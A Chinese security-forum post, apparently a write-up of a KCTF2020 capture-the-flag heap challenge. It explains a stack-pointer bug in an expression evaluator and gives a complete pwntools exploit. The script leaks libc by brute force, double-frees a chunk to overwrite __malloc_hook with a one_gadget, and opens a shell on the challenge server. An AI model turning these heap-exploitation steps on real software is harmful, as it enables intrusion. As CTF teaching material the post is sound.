首页
社区
课程
招聘
[原创] KCTF2020 秋季赛 第六题 兵刃相向
2020-12-15 00:20 6087

[原创] KCTF2020 秋季赛 第六题 兵刃相向

2020-12-15 00:20
6087

在evaluate_postfix_expression中:

1
2
3
4
5
6
7
8
9
10
11
    else if(is_operator(e[i])){
        uint64_t v1 = val_stack[val_stack_ptr-2];
        uint64_t v2 = val_stack[val_stack_ptr-1];
        val_stack_ptr -= 2;
 
        uint64_t res = calc(v1,v2,e[i]);
        val_stack[val_stack_ptr++] = res;
 
    }
    else return 0;
}

可以看到此时计算,没有对val_stack_ptr进行check
而且在create时:

1
2
3
4
5
int total_size = 19 + 8 + peN;
void* p = malloc(total_size);
memcpy(p,symbol_name,19);
*(uint64_t*)((char*)p + 19) = val;
memcpy((char*)p + 27,postfix,peN);

直接memcpy,有可能造成和前面free的垃圾数据想接
例如,正确情况下process_infix_token解析:

1
1+1+1 => 1 1 + 1 +

free后create,新解析的数据和垃圾数据相接:

1
2
第二次输入:111
解析后buffer:111 + 1 +

在evaluate_postfix_expression中val_stack[val_stack_ptr++] = res,就会造成stack向前越界一个位置进行运算
而:

1
2
3
4
5
6
typedef struct {
    uint64_t g_broken;
    uint64_t unused;
    void* g_symbol_ptrs[21];
    uint64_t g_val_stack[50];
} G_CTX;

stack前就是一个g_symbol_ptrs

Exploit

由于可以越界stack,可以将一个g_symbol_ptrs进行运算
将其name位置指向一个unsortedbin的fd,就可以利用reevaluate功能(通过symbol是否存在)逐字节爆破出fd(leak libc)
而后再次利用对g_symbol_ptrs进行运算,将其和另一个symbol指向同一位置即可通过堆风水进行double free(让一个chunk_addr&0xff=0,以便double free时猜测symbolname)
double free后指向&\
_mallochook-0x23,此时,symbol.value就是\_malloc_hook,输入一个计算得到one_gadget的算式设置__malloc_hook即可,再次create即可触发one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
 
# context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
 
#p = process('./ee',env={'LD_PRELOAD':'./libc.so.6'})
p=remote("121.36.145.157",10000)
'''
    printf("1.Create Symbol\n");
    printf("2.Delete Symbol\n");
    printf("3.Reevaluate Symbol\n");
    printf("4.Show\n");
    printf("5.Exit\n");
    printf("Your choice : ");
'''
def add(name, expression):
  p.sendlineafter("Your choice : ", '1')
  p.sendlineafter('Symbol name :', name)
  p.sendafter('Expression : ', expression)
 
def delete(name):
  p.sendlineafter("Your choice : ", '2')
  p.sendlineafter('Symbol name : ', name)
 
def magic(name):
  p.sendlineafter("Your choice : ", '3')
  p.sendlineafter('Symbol name : ', name)
 
def show(name):
  p.sendlineafter("Your choice : ", '4')
  p.sendlineafter('Symbol name : ', name)
 
s="000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 "
 
for i in range(16):
     add(chr(97+i),"1+1+1+1")
 
padding="000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 "
add("pad",padding)
add("padd",padding)
add("paddd",padding)
 
add("kirin",s)
add("aaaaa","1+1")
 
delete("kirin")
delete("aaaaa")
 
add("aaaaa","1+1")
add("kirin","1+1+1+1")
delete("a")
add("a","0050")
magic("a")
key=[]
for i in range(256):
    magic(chr(i)+"\x7f")
    s=p.recvuntil("***"
    if "Reevaluate symbol finished" in s:
         info(i)
         key=chr(i)+"\x7f"
         break
delete("a")
add("a","1-1-1")#1 1 - 1 -
delete("a")
add("a","0001")
magic("a")
for j in range(3):
  for i in range(256):
    magic(chr(i)+key)
    s=p.recvuntil("***"
    if "Reevaluate symbol finished" in s:
         info(i)
         key=chr(i)+key
         break
  magic('a')
 
info(key)
libc=u64("\x78"+key+"\x00\x00")-0x00007ffff7dd1b78+0x7ffff7a0d000
print hex(libc)
 
delete('a')
add('a','0272')
magic('a')
delete("pad")
delete("padd")
delete("paddd")
delete("\x00")
delete("a")
add(p64(libc+0x003c4b10-0x23),padding)
add("kirin1",padding)
add("kirin2",padding)
libc=libc+0xf02a4
add("kirin3",(str(libc>>32)+"*"+str(0x100000000)+"+"+str(libc&0xffffffff)+"+0000000000+0000000+0").ljust(0x36,'0'))
add('kirin-say',"0")
#gdb.attach(p)
 
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回